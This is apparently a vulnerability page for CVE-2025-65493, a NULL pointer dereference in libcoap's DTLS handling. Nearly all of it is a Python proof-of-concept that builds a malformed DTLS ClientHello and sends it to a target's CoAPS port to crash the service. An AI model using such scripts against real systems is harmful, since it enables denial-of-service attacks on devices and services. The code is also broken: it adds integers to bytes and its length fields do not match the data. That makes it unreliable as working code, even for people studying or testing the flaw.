CVE-2025-65493 libcoap NULL指针解引用拒绝服务漏洞

import socket import struct # PoC for CVE-2025-65493: libcoap NULL pointer dereference # Target: libcoap 4.3.5 DTLS/TLS handler def create_malformed_dtls_handshake(): """ Create a malformed DTLS handshake packet to trigger NULL pointer dereference in BIO_get_data() function in src/coap_openssl.c """ # DTLS Record Layer Header content_type = 0x16 # Handshake version = 0xfefd # DTLS 1.2 epoch = 0x0000 sequence_number = b'\x00\x00\x00\x00\x00\x01' length = 0x0040 # 64 bytes # Malformed handshake header handshake_type = 0x01 # ClientHello handshake_length = struct.pack('>I', 0x003C)[1:] # 60 bytes client_random = b'\x00' * 32 # Zeroed random # Session ID length = 0 (triggers edge case) session_id = b'\x00' # Cookie length = 0 (potentially problematic) cookie = b'\x00' # Cipher suites with malformed data cipher_suites = b'\x00\x02\x00\x00' # Compression methods compression = b'\x01\x00' # Extensions with empty/zero-length values extensions = b'\x00\x00\x00\x00' record = bytes([content_type]) + version + epoch + sequence_number record += struct.pack('>H', length) handshake = handshake_type + handshake_length + client_random + session_id handshake += cookie + cipher_suites + compression + extensions return record + handshake def exploit(target_ip, target_port): """ Send malformed DTLS packet to trigger NULL pointer dereference """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = create_malformed_dtls_handshake() print(f"[*] Sending malformed DTLS ClientHello to {target_ip}:{target_port}") sock.sendto(payload, (target_ip, target_port)) sock.close() print("[+] Packet sent, target may crash if vulnerable") if __name__ == "__main__": TARGET_IP = "192.168.1.100" TARGET_PORT = 5684 # Default CoAPS port exploit(TARGET_IP, TARGET_PORT)